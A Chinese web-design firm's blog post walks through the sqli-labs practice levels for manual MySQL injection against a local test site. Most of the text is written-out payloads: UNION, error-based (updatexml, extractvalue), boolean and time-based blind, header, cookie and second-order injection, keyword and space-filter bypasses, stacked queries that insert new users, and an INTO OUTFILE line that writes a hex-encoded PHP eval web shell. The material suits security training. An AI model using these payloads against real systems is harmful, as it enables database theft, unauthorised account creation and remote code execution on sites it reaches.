扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
下文内容主要给大家带来MySQL手工如何注入详解,这里所讲到的知识,与书籍略有不同,都是创新互联专业技术人员在与用户接触过程中,总结出来的,具有一定的经验分享价值,希望给广大读者带来帮助。
创新互联致力于网站设计、做网站,成都网站设计,集团网站建设等服务标准化,推过标准化降低中小企业的建站的成本,并持续提升建站的定制化服务水平进行质量交付,让企业网站从市场竞争中脱颖而出。 选择创新互联,就选择了安全、稳定、美观的网站建设服务!
http://127.0.0.1/sql/Less-1/?id=1
加’可知可能是字符型注入
用and来确认
说明存在注入
order by查询字段数
存在3个字段
union select查询在页面中显示的位置
查询数据库
查询表
查字段
查内容
数字型的
使用’可知可能是拼接型的字符型注入
使用and判断
确定是注入点
order by查询字段数
使用’以及数值型无法判断,使用%81也无法判断,使用”发现可能是双引号型的注入,并且是带括号的
使用and
order by
使用’可知可能是字符型注入
使用and
初步确定注入
order by确定字段数
union select查看页面中显示位置
失败,对于注入时没有在页面中显示位置的可使用双查询注入方法!
使用双查询注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入语句))a from information_schema.tables group by a)b -- -
查询表
太多显示不了,使用limit查询
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -
' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
使用’以及数值型注入无法判断,使用宽字节无法判断,使用”进行判断可知是双引号型的字符注入
使用and
order by
union select
无返回显示位,使用双查询注入
使用’以及数值型无法判断,根据less2,猜测可能存在有括号的情况
尝试把后面的一个and换成注释,发现失败
猜测可能后面还有一个括号注释不了
使用双括号试试
使用order by
使用union select
没有回显,使用双查询注入失败
使用mid函数进行盲注
判断数据库长度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
查询表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -
LIMIT 0,1),1,1
0,1第一张表是否存在,一次性查询一张表
1,1第一个字符是否存在,一次性查询一个字符
查询字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -
查内容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
')) and(ascii(substr((select(database())),8,1))>1) and sleep(5) -- -
可单独使用
')) and(ascii(substr((select(database())),8,1))>1) -- -
使用’以及and可知存在注入
order by
union select不返回显示位
使用双查询注入失败
使用mid
数据库总共有8个字符
使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断
带’试试
初步判断为基于时间的盲注
使用and
使用mid
使用ascii
' and(ascii(substr((select(database())),9,1))>1) and sleep(5) and '1'='1
使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断,以及使用单引号的sleep也无法判断出,根据less4猜测可能是双引号
使用mid
获取请求头参数
post注入
对uname进行注入探测
使用’判断可能存在注入
使用or进行进一步探测(主要是使用万能语句来判断,根据是否成功登陆,使用and的话想对麻烦点)
在使用and来进一步注入
常规字符注入
使用双查询
使用mid
使用’以及数值型无法判断,使用宽字节无法判断,使用双引号判断可能存在注入,且是带括号型的
使用or
order by
union select
使用’可知是字符型的,且是带括号的
使用and
order by
union select无返回显示位
使用双查询
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
使用’ 以及 or 以及order by
union select不返回显示位,双查询失败
使用sleep试试
这里提示是密码重置,应该是使用update更新语句,在insert、update、delete用法一致的时候,使用payload
or updatexml(2,concat(0x1,(注入语句)),0) or '
and extractvalue(1, concat(0x7f, (select version()),0x7f))
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
使用子查询
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
通过页面查看可知本题注入存在于http请求包里面(如果没有提示的话就得先尝试登录框)!
简单使用’对host以及User-Agent判断,可知注入点可能是User-Agent
使用and,or,无法进一步判断,使用sleep进行尝试
使用子查询
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
显错注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
referer字段可能存在注入
使用’
使用and or失败,使用sleep
使用子查询
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
显错注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
使用’
使用and
union
使用双查询
可知cookie是通过base64编码的
使用’
使用admin') and 1=1 -- -
使用admin') and 1=2 -- -
使用order by
union
admin') and 1=2 union select 1,2,3 -- -
使用’以及数值型,以及宽字节均无法判断,使用”可初步判断
使用and
使用admin" and 1=2 union select 1,2,3-- -
使用’
使用and
使用双查询失败
使用显错注入
or updatexml(2,concat(0x1,(注入语句)),0) or '
使用子查询
' and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
在登录的地方,请求的地方均未发现存在有注入,登录进去后发现有一个密码重置功能,考虑可能是update语句,可使用显错注入,但是提交的时候抓包没发现重置密码是提交的用户名,此时考虑可能存在二次注入。
最基本的一个利用方法如下,已知系统中存在有admin这个账户,此时我们注册一个admin’ -- -的用户,登录进去后进行修改密码,这里按理解应该是修改admin’ -- -用户的密码,其实不然这是修改admin账户的密码,即使我们不知道admin的原密码。
由于数据库设置了用户名长度,懒得改了,应该是可以使用显错注入的!
使用’
使用and或or
可知过滤了and和or关键字,使用大小写失败
使用双重嵌套,在and里面嵌套一个and
也可以使用&&的URL编码%26%26
使用order by
使用’无法判断,使用数值型可判断
使用aandnd 1=1
使用’
使用and
过滤了空格以及注释,以及上一关的and,or,这个可以使用嵌套绕过,或者使用其符号(&& ||)的URL编码进行绕过!
不使用空格及注释,使用&&或者||然后在使用显错注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
但是如果想继续往下查询就会发现空格怎么都需要啊,因此使用其他字符的编码进行绕过,linux使用%0a,windows使用%0a%0d,有时使用%0a也是可以的,但是我的环境就没有成功,通过对比可能是我mysql版本问题导致,因此根据自身环境来进行测试,为了忽略这个,因此后面的几关凡是涉及到过滤空格的代码我均进行注释掉,你们只需要知道空格可以使用上面的编码代替即可!
使用’
使用and
过滤了and,注释
最后一个截图我们可知查出来的依旧是id=1的数据,这里考虑可能存在括号
带上括号试试
不能使用order by,过滤了*不能使用子查询,不显示mysql错误信息,不能使用显错注入,使用union select进行猜测
也可以这样使用2') aandnd 1=2 union select 1,2,('3
使用’
使用and
过滤了注释
对于过滤了注释,所以后面的’就不能注释,所以可以考虑使用双查询以及报错注入进行尝试
使用双查询
过滤了union select
使用嵌套
过滤了*好,不能使用双查询,因此接着使用显错注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
查询表,从上可知select使用嵌套不能绕过,因此使用大小写混淆进行尝试
使用’以及数值型注入以及宽字节均无法进行判断,使用双引号进行判断
使用and
过滤了注释
过滤了注释,使用双查询或显错注入进行尝试
过滤了*,不能使用双查询,不显示mysql错误信息,不能使用显错注入
使用union select进行猜测
使用'
使用and
过滤了注释
可能存在有括号的情况
不显示mysql错误信息不能使用显错注入,过滤了*不能使用双查询和子查询
使用union select进行猜测
过滤了union 和select,使用嵌套失败
过滤了union select以及后面的一个空格(使用%a0可进行绕过,借的图)
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
同28,但是可以使用注释符
使用order by
使用union select,同28
使用ascii
使用’
说明有一定的防护,此时我们可以尝试下编码,但是没成功,我们使用HPP(参数污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 进行下一步的尝试
使用’
使用and
使用’说明有防护,编码绕过失败,使用HPP
使用’以及数值型,宽字节型失败,使用”
同上探测
说明带括号双引号
使用’
从上面可以简单看出本关使用宽字节,但是我们依旧按照上面的步骤进行,使用数值型无法判断,使用宽字节(http://eth20.blog.51cto.com/13143704/1962804 )初步判断可能存在注入
使用and
在查询表的时候使用十六进制
同上???
使用’,使用数值型无法进行判断,使用宽字节
使用or
使用双查询
使用’失败
使用数值型
使用order by
同32
同34???
同1,另外就是可以使用;来进行多条语句的执行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
同2
使用’
使用and
不能使用注释,或者说明后面可能还存在括号
使用子查询失败,使用显错失败,使用盲注
使用盲注ascii(可以使用基于时间的)
' and(ascii(substr((select(database())),8,1))>1) and '1'='1
');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
同39
用户名随意
密码:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -
密码:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -
同42
同43
通过对比可知注入点是order by后面的参数
使用desc进行对比
使用报错
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
下面这种对于limit后的注入依旧适用
导出文件,写马
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php" lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
通46,只是是字符型的
' procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
使用延时注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
同46,不能使用显错可使用盲注
使用rand
rand(ascii(left(database(),1))=116)
同47,没错误回显
延时盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -
对于以上关于mysql手工如何注入详解,如果大家还有更多需要了解的可以持续关注我们创新互联的行业推新,如需获取专业解答,可在官网联系售前售后的,希望该文章可给大家带来一定的知识更新。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流